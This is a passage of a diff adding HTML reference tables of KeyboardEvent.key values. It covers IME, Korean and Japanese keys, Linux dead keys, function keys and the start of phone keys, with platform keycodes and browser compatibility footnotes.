+   <td><code>GDK_KEY_ISO_Prev_Group</code> (0xFE0A)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ModeChange"</code> [5]</td>
+   <td>The Mode Change key. Toggles or cycles among input modes of IMEs.</td>
+   <td><code>VK_MODECHANGE</code> (0x1F)</td>
+   <td></td>
+   <td><code>GDK_KEY_Mode_switch</code> (0xFF7E)<br>
+    <code>GDK_KEY_script_switch</code> (0xFF7E)<br>
+    <code>Qt::Key_Mode_switch</code> (0x0100117E)</td>
+   <td><code>KEYCODE_SWITCH_CHARSET</code> (95)</td>
+  </tr>
+  <tr>
+   <td><code>"NextCandidate"</code></td>
+   <td>The Next Candidate function key. Selects the next possible match for the ongoing input.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"NonConvert"</code> [2]</td>
+   <td>The <kbd>NonConvert</kbd> ("Don't convert") key. This accepts the current input method sequence without running conversion when using an IME.</td>
+   <td><code>VK_NONCONVERT</code> (0x1D)</td>
+   <td></td>
+   <td><code>GDK_KEY_Muhenkan</code> (0xFF22)<br>
+    <code>Qt::Key_Muhenkan</code> (0x01001122)<br>
+     </td>
+   <td><code>KEYCODE_MUHENKAN</code> (213)</td>
+  </tr>
+  <tr>
+   <td><code>"PreviousCandidate"</code></td>
+   <td>The Previous Candidate key. Selects the previous possible match for the ongoing input.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_PreviousCandidate</code> (0xFF3E)<br>
+    <code>Qt::Key_PreviousCandidate</code> (0x0100113E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Process"</code> [3]</td>
+   <td>The <kbd>Process</kbd> key. Instructs the IME to process the conversion.</td>
+   <td><code>VK_PROCESSKEY</code> (0xE5)</td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"SingleCandidate"</code> [4]</td>
+   <td>The Single Candidate key. Enables single candidate mode (as opposed to multi-candidate mode); in this mode, only one candidate is displayed at a time.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_SingleCandidate</code> (0xFF3C)<br>
+    <code>Qt::Key_SingleCandidate</code> (0x0100113C)</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] On the <em>X Window System</em>, the <kbd>Compose</kbd> key is called the <kbd>Multi</kbd> key.</p>
+
+<p>[2] The <kbd>NonConvert</kbd> key is reported as <code>"Nonconvert"</code> instead of the correct <code>"NonConvert"</code> by Internet Explorer (tested on release 9 and 11) and Firefox versions 36 and earlier.</p>
+
+<p>[3] The <kbd>Process</kbd> key currently returns <code>"Unidentified"</code> in Firefox and Internet Explorer. Google Chrome returns the value of the key as if IME were not in use.</p>
+
+<p>[4] Prior to Firefox 37, these keys were <code>"Unidentified"</code>.</p>
+
+<p>[5] Firefox generates the key value <code>"AltGraph"</code> instead of <code>"ModeChange"</code>.</p>
+
+<h3 id="Korean_keyboards_only">Korean keyboards only</h3>
+
+<p>These keys are only available on Korean keyboards. There are other keys defined by various platforms for Korean keyboards, but these are the most common and are the ones identified by the UI Events specification.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"HangulMode"</code></td>
+   <td>The <kbd>Hangul</kbd> (Korean character set) mode key, which toggles between Hangul and English entry modes.</td>
+   <td><code>VK_HANGUL</code> (0x15) [1]</td>
+   <td></td>
+   <td><code>GDK_KEY_Hangul</code> (0xFF31)<br>
+    <code>Qt::Key_Hangul</code> (0x01001131)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"HanjaMode"</code></td>
+   <td>Selects the Hanja mode, for converting Hangul characters to the more specific Hanja characters.</td>
+   <td><code>VK_HANJA</code> (0x19) [1]</td>
+   <td></td>
+   <td><code>GDK_KEY_Hangul_Hanja</code> (0xFF34)<br>
+    <code>Qt::Key_Hangul_Hanja</code> (0x01001134)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"JunjaMode"</code></td>
+   <td>Selects the Junja mode, in which Korean is represented using single-byte Latin characters.</td>
+   <td><code>VK_JUNJA</code> (0x17)</td>
+   <td></td>
+   <td><code>GDK_KEY_Hangul_Jeonja</code> (0xFF38)<br>
+    <code>Qt::Key_Hangul_Jeonja</code> (0x01001138)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] <code>VK_HANGUL</code> and <code>VK_KANA</code> share the same numeric key value on Windows, as do <code>VK_HANJA</code> and <code>VK_KANJI</code>.</p>
+
+<h3 id="Japanese_keyboards_only">Japanese keyboards only</h3>
+
+<p>These keys are only available on Japanese keyboards.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"Eisu"</code> [1]</td>
+   <td>The <kbd>Eisu</kbd> key. This key's purpose is defined by the IME, but may be used to close the IME.</td>
+   <td></td>
+   <td><code>kVK_JIS_Eisu</code> (0x66)</td>
+   <td><code>GDK_KEY_Eisu_toggle</code> (0xFF2F)<br>
+    <code>Qt::Key_Eisu_toggle</code> (0x01001130)</td>
+   <td><code>KEYCODE_EISU</code> (212)</td>
+  </tr>
+  <tr>
+   <td><code>"Hankaku"</code> [3]</td>
+   <td>The <kbd>Hankaku</kbd> (half-width characters) key.</td>
+   <td><code>VK_OEM_AUTO</code> (0xF3)</td>
+   <td></td>
+   <td><code>GDK_KEY_Hankaku</code> (0xFF29)<br>
+    <code>Qt::Key_Hankaku</code> (0x01001129)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Hiragana"</code></td>
+   <td>The <kbd>Hiragana</kbd> key; selects Kana characters mode.</td>
+   <td><code>VK_OEM_COPY</code> (0xF2)</td>
+   <td></td>
+   <td><code>GDK_KEY_Hiragana</code> (0xFF25)<br>
+    <code>Qt::Key_Hiragana</code> (0x01001125)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"HiraganaKatakana"</code> [6]</td>
+   <td>Toggles between the Hiragana and Katakana writing systems.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Hiragana_Katakana</code> (0xFF27)<br>
+    <code>Qt::Key_Hiragana_Katakana</code> (0x01001127)</td>
+   <td><code>KEYCODE_KATAKANA_HIRAGANA</code> (215)</td>
+  </tr>
+  <tr>
+   <td><code>"KanaMode"</code></td>
+   <td>The <kbd>Kana Mode</kbd> (Kana Lock) key.</td>
+   <td><code>VK_KANA</code> (0x15) [2]<br>
+    <code>VK_ATTN</code> (0xF6)</td>
+   <td></td>
+   <td><code>GDK_KEY_Kana_Lock</code> (0xFF2D)<br>
+    <code>GDK_KEY_Kana_Shift</code> (0xFF2E)<br>
+    <code>Qt::Key_Kana_Lock</code> (0x0100112D)<br>
+    <code>Qt::Key_Kana_Shift</code> (0x0100112E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"KanjiMode"</code></td>
+   <td>The <kbd>Kanji Mode</kbd> key. Enables entering Japanese text using the ideographic characters of Chinese origin.</td>
+   <td><code>VK_KANJI</code> [2]</td>
+   <td><code>kVK_JIS_Kana</code> (0x68)</td>
+   <td><code>GDK_KEY_Kanji</code> (0xFF21)<br>
+    <code>Qt::Key_Kanji</code> (0x01001121)</td>
+   <td><code>KEYCODE_KANA</code> (218)</td>
+  </tr>
+  <tr>
+   <td><code>"Katakana"</code></td>
+   <td>The <kbd>Katakana</kbd> key.</td>
+   <td><code>VK_OEM_FINISH</code> (0xF1)</td>
+   <td></td>
+   <td><code>GDK_KEY_Katakana</code> (0xFF26)<br>
+    <code>Qt::Key_Katakana</code> (0x01001126)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Romaji"</code> [5]</td>
+   <td>The <kbd>Romaji</kbd> key; selects the Roman character set.</td>
+   <td><code>VK_OEM_BACKTAB</code> (0xF5)</td>
+   <td></td>
+   <td><code>GDK_KEY_Romaji</code> (0xFF24)<br>
+    <code>Qt::Key_Romaji</code> (0x01001124)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Zenkaku"</code> [4]</td>
+   <td>The <kbd>Zenkaku</kbd> (full width) characters key.</td>
+   <td><code>VK_OEM_ENLW</code> (0xF4)</td>
+   <td></td>
+   <td><code>GDK_KEY_Zenkaku</code> (0xFF28)<br>
+    <code>Qt::Key_Zenkaku</code> (0x01001128)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ZenkakuHanaku"</code> [6]</td>
+   <td>The <kbd>Zenkaku/Hankaku</kbd> (full width/half width) toggle key.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Zenkaku_Hankaku</code> (0xFF2A)<br>
+    <code>Qt::Zenkaku_Hankaku</code> (0x0100112A)</td>
+   <td>
+    <p><code>KEYCODE_ZENKAKU_HANKAKU</code> (211)</p>
+   </td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Prior to Firefox 37, the <kbd>Eisu</kbd> key was mapped to <code>"RomanCharacters"</code> by mistake.</p>
+
+<p>[2] <code>VK_HANGUL</code> and <code>VK_KANA</code> share the same numeric key value on Windows, as do <code>VK_HANJA</code> and <code>VK_KANJI</code>.</p>
+
+<p>[3] Prior to Firefox 37, the <kbd>Hankaku</kbd> (half-width) key generated the key value <code>"HalfWidth"</code> on Firefox. Also, this key generates the value <code>"Unidentified"</code> on Internet Explorer (tested on release 9 and 11).</p>
+
+<p>[4] Internet Explorer (tested on release 9 and 11) reports <code>"Unidentified"</code> for the <kbd>Zenkaku</kbd> key; Firefox 36 and earlier identify this key as <code>"FullWidth"</code> on Japanese keyboard layouts and <code>"Unidentified"</code> on all other keyboard layouts. Firefox 37 and later, and all versions of Google Chrome, correctly return <code>"Zenkaku"</code>.</p>
+
+<p>[5] <code>"Unidentified"</code> in Internet Explorer (tested on release 9 and 11). Firefox 36 and earlier identify the <kbd>Romaji</kbd> key as <code>"RomanCharacters"</code> on Japanese keyboards and <code>"Unidentified"</code> for other keyboards; this is corrected to return <code>"Romaji"</code> in Firefox 37 and later.</p>
+
+<p>[6] This key is reported as <code>"Unidentified"</code> prior to Firefox 37.</p>
+
+<h3 id="Dead_keycodes_for_Linux">Dead keycodes for Linux</h3>
+
+<p>Linux generates accented characters using special <strong>dead keys</strong>; these are keys which are pressed in combination with character keys to generate accented forms of those characters. You can identify which specific dead key was used (if more than one exists) by examining the  {{domxref("KeyboardEvent")}}'s associated {{event("compositionupdate")}} event's  {{domxref("CompositionEvent.data", "data")}} property.</p>
+
+<p>You can find a table of the dead keys and the characters they can be used with to generate accented or otherwise special characters on Linux using GTK</p>
+
+<p>The value of {{domxref("CompositionEvent.data", "data")}} will be one of the following:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><strong><code>CompositionEvent.data</code></strong> value</td>
+   <td>Symbol</td>
+   <td>Comments</td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_grave</code> (0xFE50)<br>
+    <code>Qt::Key_Dead_Grave</code> (0x01001250)</td>
+   <td>`</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_acute</code> (0xFE51)<br>
+    <code>Qt::Key_Dead_Acute</code> (0x01001251)</td>
+   <td>´</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_circumflex</code> (0xFE52)<br>
+    <code>Qt::Key_Dead_Circumflex</code> (0x01001252)</td>
+   <td>ˆ</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_tilde</code> (0xFE53)<br>
+    <code>Qt::Key_Dead_Tilde</code> (0x01001253)</td>
+   <td>˜</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_perispomeni</code> (0xFE53)</td>
+   <td> ͂</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_macron</code> (0xFE54)<br>
+    <code>Qt::Key_Dead_Macron</code> (0x01001254)</td>
+   <td>¯</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_breve</code> (0xFE55)<br>
+    <code>Qt::Key_Dead_Breve</code> (0x01001255)</td>
+   <td>˘</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_abovedot</code> (0xFE56)<br>
+    <code>Qt::Key_Dead_Abovedot</code> (0x01001256)</td>
+   <td>˙</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_diaeresis</code> (0xFE57)<br>
+    <code>Qt::Key_Dead_Diaeresis</code> (0x01001257)</td>
+   <td>¨</td>
+   <td>Also called an umlaut.</td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_abovering</code> (0xFE58)<br>
+    <code>Qt::Key_Dead_Abovering</code> (0x01001258)</td>
+   <td>˚</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_doubleacute</code> (0xFE59)<br>
+    <code>Qt::Key_Dead_Doubleacute</code> (0x01001259)</td>
+   <td>˝</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_caron</code> (0xFE5A)<br>
+    <code>Qt::Key_Dead_Caron</code> (0x0100125A)</td>
+   <td>ˇ</td>
+   <td>Also called a háček; used in Czech among other languages.</td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_cedilla</code> (0xFE5B)<br>
+    <code>Qt::Key_Dead_Cedilla</code> (0x0100125B)</td>
+   <td>¸</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_ogonek</code> (0xFE5C)<br>
+    <code>Qt::Key_Dead_Ogonek</code> (0x0100125C)</td>
+   <td>˛</td>
+   <td>Also called a nosinė; used in Polish and Old Irish.</td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_iota</code> (0xFE5D)<br>
+    <code>Qt::Key_Dead_Iota</code> (0x0100125D)</td>
+   <td> ͅ</td>
+   <td>Iota subscript.</td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_voiced_sound</code> (0xFE5E)<br>
+    <code>Qt::Key_Dead_Voiced_Sound</code> (0x0100125E)</td>
+   <td>゙</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_semivoiced_sound</code> (0xFE5F)<br>
+    <code>Qt::Key_Dead_Semivoiced_Sound</code> (0x0100125F)</td>
+   <td>゚</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowdot</code> (0xFE60)<br>
+    <code>Qt::Key_Dead_Belowdot</code> (0x01001260)</td>
+   <td>̣̣</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_hook</code> (0xFE61)<br>
+    <code>Qt::Key_Dead_Hook</code> (0x01001261)</td>
+   <td>  ̡</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_horn</code> (0xFE62)<br>
+    <code>Qt::Key_Dead_Horn</code> (0x01001262)</td>
+   <td> ̛</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_stroke</code> (0xFE63)</td>
+   <td> ̶̶</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_abovecomma</code> (0xFE64)</td>
+   <td> ̓̓</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_psili</code> (0xFE64)</td>
+   <td> ᾿</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_abovereversedcomma</code> (0xFE65)</td>
+   <td>ʽ</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_dasia</code> (0xFE65)</td>
+   <td>῾</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_doublegrave</code> (0xFE66)</td>
+   <td> ̏</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowring</code> (0xFE67)</td>
+   <td>˳</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowmacron</code> (0xFE68)</td>
+   <td> ̱</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowcircumflex</code> (0xFE69)</td>
+   <td>ꞈ</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowtilde</code> (0xFE6A)</td>
+   <td>̰</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowbreve</code> (0xFE6B)</td>
+   <td>̮</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowdiaeresis</code> (0xFE6C)</td>
+   <td> ̤</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_invertedbreve</code> (0xFE6D)</td>
+   <td>̯</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowcomma</code> (0xFE6E)</td>
+   <td>̦</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_currency</code> (0xFE6F)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_a</code> (0xFE80)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_A</code> (0xFE81)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_e</code> (0xFE82)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_E</code> (0xFE83)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_i</code> (0xFE84)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_I</code> (0xFE85)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_o</code> (0xFE86)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_O</code> (0xFE87)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_u</code> (0xFE88)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_U</code> (0xFE89)</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_small_schwa</code> (0xFE8A)</td>
+   <td>ə</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_capital_schwa</code> (0xFE8B)</td>
+   <td>Ə</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_greek</code> (0xFE8C)</td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Function_keys">Function keys</h2>
+
+<p>While various platforms support different numbers of the general-purpose function keys, such as <kbd>F1</kbd>-<kbd>F12</kbd> (or <kbd>F1</kbd>-<kbd>F10</kbd>, or <kbd>F1</kbd>-<kbd>F15</kbd>, or...), the first few are specifically defined as follows. If more function keys are available, their names continue the pattern here by continuing to increment the numeric portion of each key's name, so that, for example, <code>"F24"</code> is a valid key value.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
+   <th colspan="4" scope="col" style="text-align: center;">Virtual Keycode</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"F1"</code></td>
+   <td>The first general-purpose function key, <kbd>F1</kbd>.</td>
+   <td><code>VK_F1</code> (0x70)</td>
+   <td><code>kVK_F1</code> (0x7A)</td>
+   <td><code>GDK_KEY_F1</code> (0xFFBE)<br>
+    <code>GDK_KEY_KP_F1</code> (0xFF91)<br>
+    <code>Qt::Key_F1</code> (0x01000030)</td>
+   <td><code>KEYCODE_F1</code> (131)</td>
+  </tr>
+  <tr>
+   <td><code>"F2"</code></td>
+   <td>The <kbd>F2</kbd> key.</td>
+   <td><code>VK_F2</code> (0x71)</td>
+   <td><code>kVK_F2</code> (0x78)</td>
+   <td><code>GDK_KEY_F2</code> (0xFFBF)<br>
+    <code>GDK_KEY_KP_F2</code> (0xFF92)<br>
+    <code>Qt::Key_F2</code> (0x01000031)</td>
+   <td><code>KEYCODE_F2</code> (132)</td>
+  </tr>
+  <tr>
+   <td><code>"F3"</code></td>
+   <td>The <kbd>F3</kbd> key.</td>
+   <td><code>VK_F3</code> (0x72)</td>
+   <td><code>kVK_F3</code> (0x63)</td>
+   <td><code>GDK_KEY_F3</code> (0xFFC0)<br>
+    <code>GDK_KEY_KP_F3</code> (0xFF93)<br>
+    <code>Qt::Key_F3</code> (0x01000032)</td>
+   <td><code>KEYCODE_F3</code> (133)</td>
+  </tr>
+  <tr>
+   <td><code>"F4"</code></td>
+   <td>The <kbd>F4</kbd> key.</td>
+   <td><code>VK_F4</code> (0x73)</td>
+   <td><code>kVK_F4</code> (0x76)</td>
+   <td><code>GDK_KEY_F4</code> (0xFFC1)<br>
+    <code>GDK_KEY_KP_F4</code> (0xFF94)<br>
+    <code>Qt::Key_F4</code> (0x01000033)</td>
+   <td><code>KEYCODE_F4</code> (134)</td>
+  </tr>
+  <tr>
+   <td><code>"F5"</code></td>
+   <td>The <kbd>F5</kbd> key.</td>
+   <td><code>VK_F5</code> (0x74)</td>
+   <td><code>kVK_F5</code> (0x60)</td>
+   <td><code>GDK_KEY_F5</code> (0xFFC2)<br>
+    <code>Qt::Key_F5</code> (0x01000034)</td>
+   <td><code>KEYCODE_F5</code> (135)</td>
+  </tr>
+  <tr>
+   <td><code>"F6"</code></td>
+   <td>The <kbd>F6</kbd> key.</td>
+   <td><code>VK_F6</code> (0x75)</td>
+   <td><code>kVK_F6</code> (0x61)</td>
+   <td><code>GDK_KEY_F6</code> (0xFFC3)<br>
+    <code>Qt::Key_F6</code> (0x01000035)</td>
+   <td><code>KEYCODE_F6</code> (136)</td>
+  </tr>
+  <tr>
+   <td><code>"F7"</code></td>
+   <td>The <kbd>F7</kbd> key.</td>
+   <td><code>VK_F7</code> (0x76)</td>
+   <td><code>kVK_F7</code> (0x62)</td>
+   <td><code>GDK_KEY_F7</code> (0xFFC4)<br>
+    <code>Qt::Key_F7</code> (0x01000036)</td>
+   <td><code>KEYCODE_F7</code> (137)</td>
+  </tr>
+  <tr>
+   <td><code>"F8"</code></td>
+   <td>The <kbd>F8</kbd> key.</td>
+   <td><code>VK_F8</code> (0x77)</td>
+   <td><code>kVK_F8</code> (0x64)</td>
+   <td><code>GDK_KEY_F8</code> (0xFFC5)<br>
+    <code>Qt::Key_F8</code> (0x01000037)</td>
+   <td><code>KEYCODE_F8</code> (138)</td>
+  </tr>
+  <tr>
+   <td><code>"F9"</code></td>
+   <td>The <kbd>F9</kbd> key.</td>
+   <td><code>VK_F9</code> (0x78)</td>
+   <td><code>kVK_F9</code> (0x65)</td>
+   <td><code>GDK_KEY_F9</code> (0xFFC6)<br>
+    <code>Qt::Key_F9</code> (0x01000038)</td>
+   <td><code>KEYCODE_F9</code> (139)</td>
+  </tr>
+  <tr>
+   <td><code>"F10"</code></td>
+   <td>The <kbd>F10</kbd> key.</td>
+   <td><code>VK_F10</code> (0x79)</td>
+   <td><code>kVK_F10</code> (0x6D)</td>
+   <td><code>GDK_KEY_F10</code> (0xFFC7)<br>
+    <code>Qt::Key_F10</code> (0x01000039)</td>
+   <td><code>KEYCODE_F10</code> (140)</td>
+  </tr>
+  <tr>
+   <td><code>"F11"</code></td>
+   <td>The <kbd>F11</kbd> key.</td>
+   <td><code>VK_F11</code> (0x7A)</td>
+   <td><code>kVK_F11</code> (0x67)</td>
+   <td><code>GDK_KEY_F11</code> (0xFFC8)<br>
+    <code>Qt::Key_F11</code> (0x0100003A)</td>
+   <td><code>KEYCODE_F11</code> (141)</td>
+  </tr>
+  <tr>
+   <td><code>"F12"</code></td>
+   <td>The <kbd>F12</kbd> key.</td>
+   <td><code>VK_F12</code> (0x7B)</td>
+   <td><code>kVK_F12</code> (0x6F)</td>
+   <td><code>GDK_KEY_F12</code> (0xFFC9)<br>
+    <code>Qt::Key_F12</code> (0x0100003B)</td>
+   <td><code>KEYCODE_F12</code> (142)</td>
+  </tr>
+  <tr>
+   <td><code>"F13"</code></td>
+   <td>The <kbd>F13</kbd> key.</td>
+   <td><code>VK_F13</code> (0x7C)</td>
+   <td><code>kVK_F13</code> (0x69)</td>
+   <td><code>GDK_KEY_F13</code> (0xFFCA)<br>
+    <code>Qt::Key_F13</code> (0x0100003C)</td>
+   <td><code>KEYCODE_F13</code></td>
+  </tr>
+  <tr>
+   <td><code>"F14"</code></td>
+   <td>The <kbd>F14</kbd> key.</td>
+   <td><code>VK_F14</code> (0x7D)</td>
+   <td><code>kVK_F14</code> (0x6B)</td>
+   <td><code>GDK_KEY_F14</code> (0xFFCB)<br>
+    <code>Qt::Key_F1</code>4 (0x0100003D)</td>
+   <td><code>KEYCODE_F14</code></td>
+  </tr>
+  <tr>
+   <td><code>"F15"</code></td>
+   <td>The <kbd>F15</kbd> key.</td>
+   <td><code>VK_F15</code> (0x7E)</td>
+   <td><code>kVK_F15</code> (0x71)</td>
+   <td><code>GDK_KEY_F15</code> (0xFFCC)<br>
+    <code>Qt::Key_F1</code>5 (0x0100003E)</td>
+   <td><code>KEYCODE_F15</code></td>
+  </tr>
+  <tr>
+   <td><code>"F16"</code></td>
+   <td>The <kbd>F16</kbd> key.</td>
+   <td><code>VK_F16</code> (0x7F)</td>
+   <td><code>kVK_F16</code> (0x6A)</td>
+   <td><code>GDK_KEY_F16</code> (0xFFCD)<br>
+    <code>Qt::Key_F1</code>6 (0x0100003F)</td>
+   <td><code>KEYCODE_F16</code></td>
+  </tr>
+  <tr>
+   <td><code>"F17"</code></td>
+   <td>The <kbd>F17</kbd> key.</td>
+   <td><code>VK_F17</code> (0x80)</td>
+   <td><code>kVK_F17</code> (0x40)</td>
+   <td><code>GDK_KEY_F17</code> (0xFFCE)<br>
+    <code>Qt::Key_F1</code>7 (0x01000040)</td>
+   <td><code>KEYCODE_F17</code></td>
+  </tr>
+  <tr>
+   <td><code>"F18"</code></td>
+   <td>The <kbd>F18</kbd> key.</td>
+   <td><code>VK_F18</code> (0x81)</td>
+   <td><code>kVK_F18</code> (0x4F)</td>
+   <td><code>GDK_KEY_F18</code> (0xFFCF)<br>
+    <code>Qt::Key_F1</code>8 (0x01000041)</td>
+   <td><code>KEYCODE_F18</code></td>
+  </tr>
+  <tr>
+   <td><code>"F19"</code></td>
+   <td>The <kbd>F19</kbd> key.</td>
+   <td><code>VK_F19</code> (0x82)</td>
+   <td><code>kVK_F19</code> (0x50)</td>
+   <td><code>GDK_KEY_F19</code> (0xFFD0)<br>
+    <code>Qt::Key_F1</code>9 (0x01000042)</td>
+   <td><code>KEYCODE_F19</code></td>
+  </tr>
+  <tr>
+   <td><code>"F20"</code></td>
+   <td>The <kbd>F20</kbd> key.</td>
+   <td><code>VK_F20</code> (0x83)</td>
+   <td><code>kVK_F20</code> (0x5A)</td>
+   <td><code>GDK_KEY_F20</code> (0xFFD1)<br>
+    <code>Qt::Key_F20</code> (0x01000043)</td>
+   <td><code>KEYCODE_F20</code></td>
+  </tr>
+  <tr>
+   <td><code>"Soft1"</code></td>
+   <td>The first general-purpose virtual function key.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Context1</code> (0x01100000)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Soft2"</code></td>
+   <td>The second general-purpose virtual function key.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Context2</code> (0x01100001)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Soft3"</code></td>
+   <td>The third general-purpose virtual function key.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Context3</code> (0x01100002)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Soft4"</code></td>
+   <td>The fourth general-purpose virtual function key.</td>
+   <td></td>
+   <td></td>
+   <td><code>Qt::Key_Context4</code> (0x01100003)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<h2 id="Phone_keys">Phone keys</h2>
+
+<p>These keys represent buttons which commonly exist on modern smartphones.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;"><code>KeyboardEvent.key</code> Value</th>
+   <th rowspan="2" scope="col" style="text-align: left;">Description</th>
